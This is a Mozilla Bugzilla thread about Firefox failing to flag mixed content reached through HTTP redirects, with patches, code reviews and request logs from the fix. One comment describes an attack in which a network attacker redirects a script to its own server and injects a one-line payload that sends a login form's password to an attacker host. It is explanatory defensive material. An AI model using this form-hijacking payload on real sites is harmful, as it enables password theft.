Closed Bug 418354 Opened 16 years ago Closed 10 years ago

Mixed content detection does not take redirection into account

Categories

(Core Graveyard :: Security: UI, defect)

defect
Not set
normal

Tracking

(Not tracked)

RESOLVED FIXED
mozilla36

People

(Reporter: mozilla, Assigned: tanvi)

References

(Depends on 2 open bugs, Blocks 5 open bugs, )

Details

(Keywords: sec-low, Whiteboard: [sg:low][psm-padlock])

Attachments

(4 files, 7 obsolete files)

In an HTTPS page, it is dangerous to include script or stylesheet from an HTTP resource that has an HTTP redirect to an HTTPS resource, e.g.:

<script src="http://example.com/resource-that-will-redirect-to-https.js"></script>

An attacker that can corrupt the user's network traffic could intercept the HTTP redirect and make it point to the attacker's HTTPS web server instead of the legitimate HTTPS web server. We should show a mixed content warning if any of the intermediate loads were insecure, even if the final resource is a valid HTTPS site.

Steps to reproduce:
1) Visit https://crypto.stanford.edu/~collinj/research/mixed-content/redirects/http-to-https.html

Actual results:
The lock icon remains intact and address bar is yellow. Larry is happy.

Expected Results:
The address bar should be white and the lock icon should have a slash over it. Larry should show his mixed content UI.
Flags: blocking1.9+
Flags: blocking1.9+ → blocking1.9?
I agree, this is kind of bad.

A buggy secure page that transports some session cookie to a http page could be abused by an attacker (having control over the network) to steal that session cookie.

Tracing the test case, I see the security tracking receives progress notifications for the http address.

Looking at the sources, I see we only consider notifications that transfer data, well, only consider notifications that are sent with flag nsIWebProgressListener::STATE_TRANSFERRING set.

I'm sure this was done intentional, I'll have to check the cvs log to remember why.

This is another justification to work on a fix for but 62178: Know and prevent loads of insecure content *before* it happens, rather than to judge security based on after-the-fact notifications.
Group: security
Depends on: 62178
The code to test for STATE_TRANSFERRING was added with bug 140836.
This little change would fix this bug, in other words, if we don't require a page has transferred any data, but track all related loads, then you get the expected mixed content

However, that change would have the side effect to reintroduce bug 140836.

To summarize bug 140836, here are two test cases:
- https://kuix.de/misc/test16/something.html
- https://kuix.de/misc/test16/nothing.html

With the patch applied, if you cancel the load of those pages, you'll get mixed content.


Index: mozilla/security/manager/boot/src/nsSecureBrowserUIImpl.cpp
===================================================================
RCS file: /cvsroot/mozilla/security/manager/boot/src/nsSecureBrowserUIImpl.cpp,v
retrieving revision 1.67
diff -u -u -r1.67 nsSecureBrowserUIImpl.cpp
--- mozilla/security/manager/boot/src/nsSecureBrowserUIImpl.cpp 13 Feb 2008 16:14:25 -0000      1.67
+++ mozilla/security/manager/boot/src/nsSecureBrowserUIImpl.cpp 20 Feb 2008 18:30:50 -0000
@@ -867,7 +867,7 @@
       aProgressStateFlags & STATE_IS_REQUEST)
   {
     PLDHashEntryHdr *entry = PL_DHashTableOperate(&mTransferringRequests, aRequest, PL_DHASH_LOOKUP);
-    if (PL_DHASH_ENTRY_IS_BUSY(entry))
+//    if (PL_DHASH_ENTRY_IS_BUSY(entry))
     {
       PL_DHashTableOperate(&mTransferringRequests, aRequest, PL_DHASH_REMOVE);

Couldn't we fix 140836 by ignoring loads which have no data and an error status?
(In reply to comment #4)
> Couldn't we fix 140836 by ignoring loads which have no data and an error
> status?


Please define "no data".

My definition of "no data" was: have not transferred data. What is your's?
That seems like a fine definition.

My point is that if a connection has no transferred data and ended with an error status (possibly excluding NS_BINDING_REDIRECTED if that's what HTTP returns), we shouldn't look for security info on it.
Without this being a regression or having a security rating, it's hard to justify blocking status (especially with no patch or indication that one is immediately forthcoming).

Feel free to renom if there's something we're overlooking in our decision, here.
Flags: blocking1.9? → blocking1.9-
(In reply to comment #1)
> I agree, this is kind of bad.

The existence of this redirection vulnerability makes mixed content warnings useless for users, since an active network attacker can suppress them entirely.

> A buggy secure page that transports some session cookie
> to a http page could be abused by an attacker (having
> control over the network) to steal that session cookie.

It sounds like you're describing an eavesdropping attack where an HTTPS page accidentally leaks information in an HTTP request because request because either (a) the URL contains a session cookie, or (b) the session cookie is not a Secure cookie. A network attacker is listening to this information and uses the cookie to establish a new session with the HTTPS server, using the stolen cookie. These scenarios have already been known for a long time and have not been fixed (see bug 135007 for example). The redirection bug exacerbates the passive eavesdropper scenario only very slightly.

However, the attack scenario that I'm primarily concerned about is not an eavesdropping attack, but rather an active attack. In an active network attack, the browser's network traffic is being intercepted by the attacker and possibly modified in transit. A pharming attack is one example of an active network attack. Another example is a rogue wireless access point.

Suppose an user is using their laptop in a malicious network environment and they don't want their password to be stolen by any attackers on the network. This user visits <https://www.wordpress.com/> and is trying to decide whether to log in. Perhaps they have turned on the mixed content warning dialogs, or perhaps they are checking the address bar color, status bar lock icon, and/or Larry -- none of these can help, and the attacker will still get their password, because the login page contains this code:

<script src="http://s.stats.wordpress.com/w.js?8" type="text/javascript"></script>

Under normal circumstances (with a trustworthy network) the user would be getting a mixed content warning (if enabled), the address bar would be white, the lock icon would have a slash over it, and Larry would be unhappy. Unfortunately, the network is malicious and the attacker wants to fool the user into thinking everything is fine. The attacker (who controls the network) replies to the request for <http://s.stats.wordpress.com/w.js?8> with a redirect to <https://www.attacker.co.kz/gotcha.js>. The attacker has a valid certificate for www.attacker.co.kz because the attacker truly owns this domain name, so Firefox executes gotcha.js in the security context of <https://www.wordpress.com/>. 

The text of gotcha.js is just one line. It changes the login form's "action" attribute to cause it to be submitted to the attacker (over HTTPS of course, so that no warnings will be generated): document.loginform.action = "https://www.attacker.co.kz/login.cgi";

At this point, the user has received no warnings, they are looking at what appears to be a perfectly valid WordPress login page, Larry is completely happy, and yet if they log in, their password will be sent to the attacker.

These types of mixed content vulnerabilities are common in login pages. Another example is LiveJournal's "secure" login page <https://www.livejournal.com/login.bml>, which has several HTTPS scripts like <script src="https://www.livejournal.com/js/md5.js?v=1072907260"></script> that redirect to the HTTP version of the script. The attacker can make them redirect back to the attacker's HTTPS server. This scenario is even worse because the user cannot detect the mixed content using View Source.
I'm uncomfortable rating these lock-spoofing bugs "sg:low" -- given a vulnerable site and an active attacker all guarantees we're making through the lock icon go right out the window. Attacks are "sg:high" vectors, but since it requires a broken site maybe "sg:moderate" is appropriate.

Jesse counters that "sg:low" is too _high_, not too low. We've correctly connected the user to the intended site. Any security issue is due to the broken site, and a broken site could be hacked in unrelated ways (e.g. XSS); our mixed lock icon is for the site author's benefit not the user's according to Jesse. As long as any of the major browsers get it right the site authors will get the message.

On the whole, though, people are being misled as to the reliability of these sites, whoever those people turn out to be.
Whiteboard: [sg:low]
For me, I care less about the display per se than about getting the fundamental detection right.  When we get things like bug 62178 fixed, we can just drop mixed content altogether, which feels profoundly safer to me than indicating it with a broken padlock - but that assumes that we have a core ability to detect mixed content properly in the first place.  To take Collin's example to its logical, Paypal conclusion:

Let's say paypal is an all-https shop, quite deliberately, and they have every http call immediately redirect to https as a precaution against a coder who accidentally misses an 's' after an 'http' when linking in some script.  That scenario means that *even with bug 62178* a rogue AP will be able to inject script, fire and brimstone, the End of Days, etc.

All of this requires pretty subtle brokenness - an analytics script added to the site (like britishairways.com did recently) say, or a widget toolkit being served https after a redirect.  It's not like they're not validating user input or something equally elementary, so the "Once the site's broken, all bets are off" approach might be minimizing the risk, I think. 

For me, the justification for it being sg:moderate isn't about the undermining of the lock specifically, it's about the generic problem that this is a hole in all our MitM detection - this won't trigger any SSL error pages (if done right), all our security & identity UI will stay intact and happy, and since a rogue AP doesn't need to have a fixed presence on the public internet, this isn't going to show up in Malware/Phishing protection either.

I defer to the guys who have been doing sg rating a lot longer than I have, but I sure would love to see a fix, either way.  :)
I don't think we want to drop support for mixed content.  That would make it impossible to build certain kinds of sites (such as forums where users can include off-site images) with https, and would break some bookmarklets.  We don't want to discourage sites from going all-https.
Assignee: kaie → nobody
Whiteboard: [sg:low] → [sg:low][psm-padlock]
Now that Firefox UI no longer shows the mixed-content state, you could use https://addons.mozilla.org/en-US/firefox/addon/padlock-icon/ when testing.
(Testing Bugzilla 4 SecureMail feature with a helpful comment.)
Dveditz - Should this bug stay security-sensitive?  Or should we open it up?
This bug will be fixed after or as part of bug 782654.
See Also: → 782654
Opening this bug up.
Group: core-security
Special cases to consider:

* HTTPS -> HTTP -> HTTPS redirect chains
* Form submissions (action="https://....", get various kinds of redirects to http://...); see bug 438760.
* XHR automatic redirect following (including SystemXHR).
* WebSockets redirect handling.
tanvi: bug 782654 is fixed now, did it fix this one in fact?
Assignee: nobody → tanvi
Depends on: 782654
Flags: needinfo?(tanvi)
The redirect issues in this bug and bug 456957 have not been resolved.  The master bug for all mixed content blocking features/issues is bug 815329.
No longer depends on: 782654
Flags: needinfo?(tanvi)
> * HTTPS -> HTTP -> HTTPS redirect chains

Forgive me, what is the issue here? For secondary resource loads, the redirect to HTTP should be blocked. The fact that the HTTP response redirects to an HTTPS site is immaterial, right?

> * Form submissions (action="https://....", get various kinds of redirects to
> http://...); see bug 438760.

Why is this a concern for mixed content? I thought mixed content was about secondary resource loads, not top level navigations like forms or link clicks. Is the plan that form submissions on https sites be only to https targets? I can't seem to find a bug for this in the MixedContentBlocker bug (438760 refers to a special https->HTTP redirect; I am talking about an action target that is http). 

The term mixed content, I thought, referred to secondary loads. I assume that navigations (another form of top-level load) to a HTTP URL from a HTTPS URL are not blocked. GET form submissions are similar to URI navigations (Ofcourse, POSTS are not). Also, currently at least, I don't think nsiContentPolicy differentiates between form submissions and link clicks.


[fwiw, as far as I can tell, Chrome does not have any restrictions on the action of a form running under a https origin.]
Chris Evans provided an example of this case: https://apps.yoyogames.com/reflexions/play

Firefox does not block Mixed Active Content on this page and the Mixed Content Blocker UI does not appear.  It does load display content and hence shows the globe icon (instead of the lock).

When I block both Mixed Active and Mixed Display Content, some Mixed Content still gets through because of this bug.
GET http://assets.yoyogames.com/apps/reflexions/1.0.1/index-1.0.1.html?provider=local&uuid=&seed=4139170346296770557 [HTTP/1.0 200 OK 129ms]
GET http://assets.yoyogames.com/apps/reflexions/1.0.1/html5game-1.0.1/Reflexion.js?LRIZB=1452386145 [HTTP/1.0 304 Not Modified 4ms]
GET http://assets.yoyogames.com/apps/reflexions/1.0.1/html5game-1.0.1/reflexion.yyg [HTTP/1.0 403 Forbidden 3ms]
GET http://assets.yoyogames.com/apps/reflexions/1.0.1/html5game-1.0.1/reflexion.yyg [HTTP/1.0 403 Forbidden 2ms]


The first of these mixed content loads is an iframe to https://apps.yoyogames.com/reflexions/play?provider=local that 302's to http://assets.yoyogames.com/apps/reflexions/1.0.1/index-1.0.1.html?provider=local&uuid=&seed=-1694184777768563577 [1].

For the other 3 mixed content files (javascript and xml), they are resources that are sourced from the http iframe.  Our code first checks the parent of a load, and if it is http, it allows it.  Since we mistakenly let in the http iframe, we subsequently are also allowing http loads from the http iframe (http://mxr.mozilla.org/mozilla-central/source/content/base/src/nsMixedContentBlocker.cpp#371)

[1]
https://apps.yoyogames.com/reflexions/play?provider=local
GET /reflexions/play?provider=local HTTP/1.1
Host: apps.yoyogames.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20130604 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 302 Found
Access-Control-Allow-Origin: *
Access-Control-Request-Method: *
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Date: Fri, 07 Jun 2013 00:25:59 GMT
Location: http://assets.yoyogames.com/apps/reflexions/1.0.1/index-1.0.1.html?provider=local&uuid=&seed=-1694184777768563577
Server: nginx/1.1.19
Status: 302 Found
X-Runtime: 0.014385
x-ua-compatible: IE=Edge,chrome=1
Content-Length: 187
Connection: keep-alive
Blocks: 914724
Attached patch bug_418354_mcb_redirect.patch (obsolete) — Splinter Review
Work in progress: This patch allows to evalute mixed content after redirects have taken place. To do so we store the contentPolicyType as well as the requesting context in every channel. Since mixed content can only occur on httpchannels, it is sufficient to set the contentPolicyType and the requesting context only on those channels. To be conservative, every channel's default policyType is set to TYPE_OTHER, which is treated as mixed active content and therefore blocked in case we have forgotten to correctly set the policyType on a channel.
The reason why we have to set the requesting context in addition to the contentPolicType is that there is no possibility to query the correct requesting context from the callbacks on the channel for TYPE_MEDIA and TYPE_OBJECT.

This patch does not work for e10s yet, but I assume we can extend HttpChannelOpenArgs [1] to extend it with a policyType and reuqesting context to make it work.

[1] http://mxr.mozilla.org/mozilla-central/source/netwerk/ipc/NeckoChannelParams.ipdlh#22
We have to update two testcases which did not execute correctly with the new patch. For the one testcase it's easier to use onload/onerror where available. I also openend bug 950952 because iframe's do not perform an onerror callback if the channel was canceled. For the second test I just rearanged the order because reloading the tests in that order caused a MCB violation.
This test performs 302 redirects and confirms that the doorhanger appears when https requests are redirected to http requests.
Comment on attachment 8348379 [details] [diff] [review]
bug_418354_mcb_redirect.patch

Smaug, do you have the time to take a look at this patch?
Attachment #8348379 - Flags: feedback?(bugs)
I recommend that we mark this bug as wontfix, and only allow internal redirects (HSTS and addons) to fire before mixed content blocking is evaluated.

If server-side redirects can occur, then an attacker can use a fake 302 from http://insecure.example.com/script.js to https://evildomain.com/script.js, right?

Even if we allowed same-domain rewrites, the attacker could probably do http://example.com/script.js to https://example.com/unexpected-script-with-weird-consequences.js.
Having said all of that, I think it's reasonable to allow a 301|302 from http://example.com/script.js to https://example.com/script.js.  That's a very common case, and one we could handle correctly without inducing vulnerabilities.
Comment on attachment 8348379 [details] [diff] [review]
bug_418354_mcb_redirect.patch

Review of attachment 8348379 [details] [diff] [review]:
-----------------------------------------------------------------

::: content/base/src/nsMixedContentBlocker.cpp
@@ +241,5 @@
> +
> +  // NEEDINFO: is it safe to assume this happens only
> +  // for SafeBrowsing and also OCSP?
> +  // currently this also returns for favicons
> +  if (!requestingContext) {

I think those types of channels should have some kind of flag that indicates that they are exempt from mixed content blocking, so that we can require the requestingContext in all other cases. Otherwise, this will do the wrong thing anytime somebody has forgotten to set the requesting context, AFAICT.

::: netwerk/protocol/http/nsHttpChannel.cpp
@@ +4504,5 @@
>      if (mAPIRedirectToURI) {
>          return AsyncCall(&nsHttpChannel::HandleAsyncAPIRedirect);
>      }
>  
> +    nsCOMPtr<nsMixedContentBlocker> mcb = new nsMixedContentBlocker();

Nit: can't EvaluateMixedContent be made a static method so that we don't have to instantiate and destroy an object just to call it?

@@ +4509,5 @@
> +    if (!mcb)
> +        return NS_ERROR_OUT_OF_MEMORY;
> +    rv = mcb->EvaluateMixedContent(this);
> +    if (NS_FAILED(rv))
> +        return rv;

Please add some comments describing the check is done here (after on-modify-request handlers and after the mAPIRedirectToURI checks, before the other things, etc.).

Also, does this work in e10s? In particular, does it work on B2G? Or, are you planning to do that part in a follow-up?
(In reply to Peter Eckersley from comment #29)
> I recommend that we mark this bug as wontfix, and only allow internal
> redirects (HSTS and addons) to fire before mixed content blocking is
> evaluated.

I don't think we should mark it as a wontfix. The current patch evaluates MCB in the channel shortly before data is requested from the server. In case of a redirect, it's evaluated twice.
 
> If server-side redirects can occur, then an attacker can use a fake 302 from
> http://insecure.example.com/script.js to https://evildomain.com/script.js,
> right?

Using your example from above (assuming the top page is https) would already block the request for
> http://insecure.example.com/script.js
so the redirect wouldn't occur.

In a different scenario where the https request is redirected to http this patch would allow the first request but then the evaluation of MCB on the channel would block the redirected http request.
(In reply to Brian Smith (:briansmith, :bsmith; NEEDINFO? for response) from comment #31)
> Comment on attachment 8348379 [details] [diff] [review]
> bug_418354_mcb_redirect.patch
> 
> Review of attachment 8348379 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> ::: content/base/src/nsMixedContentBlocker.cpp
> @@ +241,5 @@
> > +
> > +  // NEEDINFO: is it safe to assume this happens only
> > +  // for SafeBrowsing and also OCSP?
> > +  // currently this also returns for favicons
> > +  if (!requestingContext) {
> 
> I think those types of channels should have some kind of flag that indicates
> that they are exempt from mixed content blocking, so that we can require the
> requestingContext in all other cases. Otherwise, this will do the wrong
> thing anytime somebody has forgotten to set the requesting context, AFAICT.

That is a good idea. I will incorporate that.

> ::: netwerk/protocol/http/nsHttpChannel.cpp
> @@ +4504,5 @@
> >      if (mAPIRedirectToURI) {
> >          return AsyncCall(&nsHttpChannel::HandleAsyncAPIRedirect);
> >      }
> >  
> > +    nsCOMPtr<nsMixedContentBlocker> mcb = new nsMixedContentBlocker();
> 
> Nit: can't EvaluateMixedContent be made a static method so that we don't
> have to instantiate and destroy an object just to call it?

I was about to do that anway, no need to create and destroy the MCB object all the time.
 
> @@ +4509,5 @@
> > +    if (!mcb)
> > +        return NS_ERROR_OUT_OF_MEMORY;
> > +    rv = mcb->EvaluateMixedContent(this);
> > +    if (NS_FAILED(rv))
> > +        return rv;
> 
> Please add some comments describing the check is done here (after
> on-modify-request handlers and after the mAPIRedirectToURI checks, before
> the other things, etc.).
> 
> Also, does this work in e10s? In particular, does it work on B2G? Or, are
> you planning to do that part in a follow-up?

I guess I want to make it work in e10s right away - currently it's not, but it should work on B2G the way it is - also TRY indicates that it works on B2G. Any particular reason why it would fail on B2G?
So, this needs some coordination with bug 965413
Comment on attachment 8348379 [details] [diff] [review]
bug_418354_mcb_redirect.patch


>@@ -4499,16 +4500,23 @@ nsHttpChannel::BeginConnect()
>     CallOnModifyRequestObservers();
> 
>     // Check to see if we should redirect this channel elsewhere by
>     // nsIHttpChannel.redirectTo API request
>     if (mAPIRedirectToURI) {
>         return AsyncCall(&nsHttpChannel::HandleAsyncAPIRedirect);
>     }
> 
>+    nsCOMPtr<nsMixedContentBlocker> mcb = new nsMixedContentBlocker();
>+    if (!mcb)
>+        return NS_ERROR_OUT_OF_MEMORY;
>+    rv = mcb->EvaluateMixedContent(this);
>+    if (NS_FAILED(rv))
>+        return rv;

This feels odd. Why you create an object here, call a method, and let the object die?
Why not just a static method?


I think we need some sane way to create channels which requires one to think which document/principal/etc to pass to it.
That would be Bug 965413.

and then use that information here. But I'm not the right person to ask where in necko we should deal with this stuff.
ContentPolicy obviously isn't, at least currently, enough for what we want here.

You want comments from bz and jduell or other necko folks.

But I think we should first fix bug 965413 anyhow.
Attachment #8348379 - Flags: feedback?(bugs) → feedback-
(In reply to Olli Pettay [:smaug] from comment #35)
> This feels odd. Why you create an object here, call a method, and let the
> object die?
> Why not just a static method?

We already addressed that in Comment 33, but not updated in the patch yet.

> I think we need some sane way to create channels which requires one to think
> which document/principal/etc to pass to it.
> That would be Bug 965413.

This bug is overdue and I think we do not want to wait for Bug 965413.

> and then use that information here. But I'm not the right person to ask
> where in necko we should deal with this stuff.
> ContentPolicy obviously isn't, at least currently, enough for what we want
> here.
> 
> You want comments from bz and jduell or other necko folks.
Boris, Jason, what do you suggest?
Flags: needinfo?(jduell.mcbugs)
Flags: needinfo?(bzbarsky)
Assignee: tanvi → mozilla
> That would be Bug 965413.

But 965413 is just about adding a small thing on document loads only.  It's very explicitly _not_ boiling the channel-loading world...
Flags: needinfo?(bzbarsky)
(In reply to Boris Zbarsky [:bz] from comment #38)
> > That would be Bug 965413.
> 
> But 965413 is just about adding a small thing on document loads only.  It's
> very explicitly _not_ boiling the channel-loading world...

Thanks Boris. Can you also comment on the patch. Is the current solution acceptable for you or would you suggest to approach it differently?
Flags: needinfo?(bzbarsky)
Hrm.  The patch _is_ trying to boil the channel-loading world!

It's also using GetInterface(NS_GET_IID(nsIDOMWindow)), which is totally not guaranteed to work.  It should use nsILoadContext instead.

Maybe the right solution here is in fact to do bug 965413, which I hope to do in the next few days, and then build this on top.  :(
Flags: needinfo?(bzbarsky)
Ok, then lets do this and wait for bug 965413.
Depends on: 965413
Flags: needinfo?(jduell.mcbugs)
In bug 1006881, we are going to change the NS_NewChannel-API and therefore the way channels are created. The NS_NewChannel-API requires a contentType and also a principal/node, which in the end we can use to handle redirects correctly.
Depends on: 1006881
Attached patch mcb_redirect-09-30-14.patch (obsolete) — Splinter Review
Now that bug 1038756 has landed, we can use loadInfo to do Mixed Content Blocker checks for redirects via AsyncOnChannelRedirect()

Here is a patch, which includes debug code and has a few open questions in the comments.  feedback? to Christoph.
Attachment #8348379 - Attachment is obsolete: true
Attachment #8497833 - Flags: feedback?(mozilla)
Unbitrotted tests.
Attachment #8348382 - Attachment is obsolete: true
Comment on attachment 8497833 [details] [diff] [review]
mcb_redirect-09-30-14.patch

Review of attachment 8497833 [details] [diff] [review]:
-----------------------------------------------------------------

As far as I can tell, this is exactly what we need to enforce MCB for redirects. I hope I haven't missed anything between all that debug code. One thing I am not completely sure at the moment is the safebrowsing part. We create that channel here:
http://mxr.mozilla.org/mozilla-central/source/toolkit/components/url-classifier/nsUrlClassifierStreamUpdater.cpp#97
so I think the best thing we can do to identify that channel is to query the APP_ID and let safebrowsing requests through without any MCB evaluation.

Once you got everything cleaned up and ready to go I would like to review that patch again.

Overall looks good, really happy to see that finally happening.

::: content/base/src/nsMixedContentBlocker.cpp
@@ +250,5 @@
> +  if (StringEndsWith(uriSpec2, iconType)) {
> +    fprintf(stderr, "--> Icon, return true\n\n");
> +    return NS_OK;
> +  }
> +  */

Yep, you are right. No need for that code anymore.

@@ +260,5 @@
> +    fprintf(stderr, "\nno loadinfo\n");
> +    // XXX: we should have a loadInfo on all channels!!!
> +    // Tanvi - should we return failure or okay here?
> +    return NS_ERROR_FAILURE;
> +  }

I don't think we have loadInfo on all channels yet, but at least on all channels where we perform security checks before we create them. Even though I usually follow the principle of least privilege, I think in that case it's more appropriate to just return NS_OK. But maybe we can add some kind of assertion within the if-branch. e.g. the loadType hast at least to be of TYPE_OTHER and nothing else, otherwise we have a problem.

@@ +273,5 @@
> +  nsCOMPtr<nsINode> requestingContext = loadInfo->LoadingNode();
> +  nsCOMPtr<nsIPrincipal> requestingPrincipal = loadInfo->LoadingPrincipal();
> +
> +  // Since we lift out MCB of contentPolicies, we have to account for the
> +  // case where we get a SystemPrincipal but no context and hence allow

Yep, we don't do that anymore. We are not lifting out MCB of contentpolicies, hence we don't need that part of the code.

@@ +321,5 @@
> +  }
> +
> +  // if the channel is about to load mixed content
> +  // abort the channel.
> +  if (decision != nsIContentPolicy::ACCEPT) {

Nit: maybe consider using:
if (!NS_CP_ACCEPTED(aDecision)) {

@@ +356,5 @@
>  
>    // Assume active (high risk) content and blocked by default
>    MixedContentTypes classification = eMixedScript;
>    // Make decision to block/reject by default
> +  *aDecision = nsIContentPolicy::REJECT_REQUEST;

Since we are not lifting MCB out of contentPolicies, I don't think you need the nsIContentPolicy:: namespace here and throughout the file.
Attachment #8497833 - Flags: feedback?(mozilla) → feedback+
Tanvi, since you are fixing this - I also assigned the bug to you.
Assignee: mozilla → tanvi
Status: NEW → ASSIGNED
Depends on: 1076978
Blocks: 1077201
Attached patch mcb_redirect-10-02-14.patch (obsolete) — Splinter Review
Updated patch to address review comments.

* Removed debug code.  There is one commented part about safebrowsing that I just want to run by Christoph before removing completely.

* Even though we are not lifting all of MCB out of content policies, we still aren't calling NS_CheckContentLoadPolicy for redirects.  Hence we need code that checks for system principal and returns early.

* Return NS_OK if there is no loadinfo for now.  See bug 1077201.
Attachment #8497833 - Attachment is obsolete: true
Attachment #8499272 - Flags: review?(mozilla)
Attachment #8499272 - Flags: review?(bugs)
Updated some comments in the mochitests.
Attachment #8497834 - Attachment is obsolete: true
Attachment #8499273 - Flags: review?(bugs)
Comment on attachment 8348380 [details] [diff] [review]
bug_418354_mcb_redirect_test_updates.patch

These tests were updated for the patch that pulled MCB out of content policies completely.  Since we aren't doing that, obsoleting this patch.
Attachment #8348380 - Attachment is obsolete: true
Comment on attachment 8499272 [details] [diff] [review]
mcb_redirect-10-02-14.patch

Review of attachment 8499272 [details] [diff] [review]:
-----------------------------------------------------------------

Overall, looks really good. Cancelling the review request because I would like to see it one more time.
Please incorporate by suggestions and r=me.

::: content/base/src/nsMixedContentBlocker.cpp
@@ +211,5 @@
> +    return NS_ERROR_FAILURE;
> +  }
> +
> +  nsCOMPtr<nsIURI> oldUri;
> +  oldChannel->GetURI(getter_AddRefs(oldUri));

Please make sure this succeeds by using:
nsresult rv = oldChannel->GetURI(getter_AddRefs(oldUri));
NS_ENSURE_SUCCESS(rv, rv);

@@ +215,5 @@
> +  oldChannel->GetURI(getter_AddRefs(oldUri));
> +
> +  nsCOMPtr<nsIURI> newUri;
> +  newChannel->GetURI(getter_AddRefs(newUri));
> +

same here:
rv = newChannel->GetURI(...)

@@ +233,5 @@
> +      fprintf(stderr, "Safebrowsing, return true\n\n");
> +      return NS_OK;
> +    }
> +  }
> +  */

Yes, that can be removed. We used to use this part when we wanted to lift MCB out of contentPolicies; since we decided to use the ::AsyncChannelRedirect approach, we don't need that part anymore.

@@ +237,5 @@
> +  */
> +
> +  // Get the loading Info from the old channel
> +  nsCOMPtr<nsILoadInfo> loadInfo;
> +  oldChannel->GetLoadInfo(getter_AddRefs(loadInfo));

please also make sure this succeeds here.
rv = ...

@@ +239,5 @@
> +  // Get the loading Info from the old channel
> +  nsCOMPtr<nsILoadInfo> loadInfo;
> +  oldChannel->GetLoadInfo(getter_AddRefs(loadInfo));
> +  if (!loadInfo) {
> +    fprintf(stderr, "\nno loadinfo\n");

remove the printf

@@ +254,5 @@
> +  nsresult rv = loadInfo->GetContentPolicyType(&contentPolicyType);
> +  if (NS_FAILED(rv)) {
> +    MOZ_ASSERT(false, "no contentPolicyType");
> +    return NS_ERROR_FAILURE;
> +  }

Do you really want a MOZ_ASSERT here? Otherwise you could use:
NS_ENSURE_SUCCESS(rv, rv);

@@ +256,5 @@
> +    MOZ_ASSERT(false, "no contentPolicyType");
> +    return NS_ERROR_FAILURE;
> +  }
> +
> +  nsCOMPtr<nsINode> requestingContext = loadInfo->LoadingNode();

move that code line further down, closer to shouldLoad. If any of the 'principal'-code underneath causes an early return, we don't need to query the requestingContext.

@@ +276,5 @@
> +    rv = secMan->IsSystemPrincipal(requestingPrincipal, &isSystemPrincipal);
> +    NS_ENSURE_SUCCESS(rv, rv);
> +    if (isSystemPrincipal) {
> +      return NS_OK;
> +    }

You could rearrange and simplify that code by using nsContentUtils::IsSystemPrincipal, see:
 http://mxr.mozilla.org/mozilla-central/source/content/base/public/nsContentUtils.h#1294

You then also don't need to include the securityManager.

@@ +288,5 @@
> +                  newUri,
> +                  requestingLocation,
> +                  requestingContext,
> +                  EmptyCString(),       // aMimeGuess
> +                  nullptr,

Nit: add a comment what the nullptr is used for here.

@@ +294,5 @@
> +                  &decision);
> +
> +  if (NS_FAILED(rv)) {
> +    MOZ_ASSERT(false, "did not return a decision");
> +    return NS_ERROR_FAILURE;

Probably you can just use
NS_ENSURE_SUCCESS(rv, rv);
Attachment #8499272 - Flags: review?(mozilla)
Why all
-      *aDecision = nsIContentPolicy::ACCEPT;
+      *aDecision = ACCEPT;
changes?
No need to make patches larger with unrelated changes.
Comment on attachment 8499272 [details] [diff] [review]
mcb_redirect-10-02-14.patch

>+NS_IMETHODIMP
>+nsMixedContentBlocker::AsyncOnChannelRedirect(nsIChannel *oldChannel,
>+                                              nsIChannel *newChannel,
>+                                              uint32_t flags,
>+                                              nsIAsyncVerifyRedirectCallback *callback)
nsIChannel* aOldChannel,
nsIChannel* aNewChannel
etc.


>+  // Special case handling for safebrowsing channels
>+  /* We don't need this anymore since we check for systemPrincipal below, and 
>+   * the safebrowsing channel has systemprincipal. Will remove after Christoph takes
>+   * another look at this.
Hmm, so a new patch is certainly coming..

>+  // Get the loading Info from the old channel
>+  nsCOMPtr<nsILoadInfo> loadInfo;
>+  oldChannel->GetLoadInfo(getter_AddRefs(loadInfo));
>+  if (!loadInfo) {
>+    fprintf(stderr, "\nno loadinfo\n");
fprintf?
 
>     if (!httpsParentExists) {
>-      *aDecision = nsIContentPolicy::ACCEPT;
>+      *aDecision = ACCEPT;

So I'd prefer to not see this kind of changes in this patch. Better to not make unrelated changes in a patch.
Attachment #8499272 - Flags: review?(bugs) → review-
Attachment #8499273 - Flags: review?(bugs) → review+
Attached patch mcb_redirect-10-03-14.patch (obsolete) — Splinter Review
Addressed review comments.  Will push to try.

(In reply to Christoph Kerschbaumer [:ckerschb] from comment #51)
> @@ +233,5 @@
> > +      fprintf(stderr, "Safebrowsing, return true\n\n");
> > +      return NS_OK;
> > +    }
> > +  }
> > +  */
> 
> Yes, that can be removed. We used to use this part when we wanted to lift
> MCB out of contentPolicies; since we decided to use the
> ::AsyncChannelRedirect approach, we don't need that part anymore.
>

(In reply to Olli Pettay [:smaug] from comment #53)
> >+  // Special case handling for safebrowsing channels
> >+  /* We don't need this anymore since we check for systemPrincipal below, and 
> >+   * the safebrowsing channel has systemprincipal. Will remove after Christoph takes
> >+   * another look at this.
> Hmm, so a new patch is certainly coming..
> 

Not quite.  Safebrowsing channels have loadinfo with the loadignPrincipal set to systemPrincipal.  Further down in this patch, we do a check for system and return NS_OK.  Hence, we don't need any special case handling for safebrowsing.
Attachment #8499272 - Attachment is obsolete: true
Attachment #8499919 - Flags: review?(bugs)
Attachment #8499919 - Flags: review?(bugs) → review+
Try shows a failure in a mixed content mochitest:
 INFO TEST-UNEXPECTED-FAIL | /tests/security/manager/ssl/tests/mochitest/mixedcontent/test_bug455367.html | FAILURE: secure, expected secure got broken - expected PASS
https://mxr.mozilla.org/mozilla-central/source/security/manager/ssl/tests/mochitest/mixedcontent/test_bug455367.html?force=1

This test includes an https image load that is redirected to an http image load.  No image data is actually loaded, but since an http request goes out, the request should be considered mixed and the security state of the page should change to broken.  However, the test expects a state of secure.

Honza, any problem with me updating this test so that the request to emptyimage.sjs goes over https?  Is there a reason you structured the test this way?  Talking to Boris, he said that another way to test is to make a https request to a server that doesn't run on port 443.
Flags: needinfo?(honzab.moz)
Depends... there were times (I am glad those times are gone now, but depends..) we didn't want a mixed content warning for images that actually didn't transfer any data.  I believe this was a step back from us to allow cross-site tracking via image requests or similars.

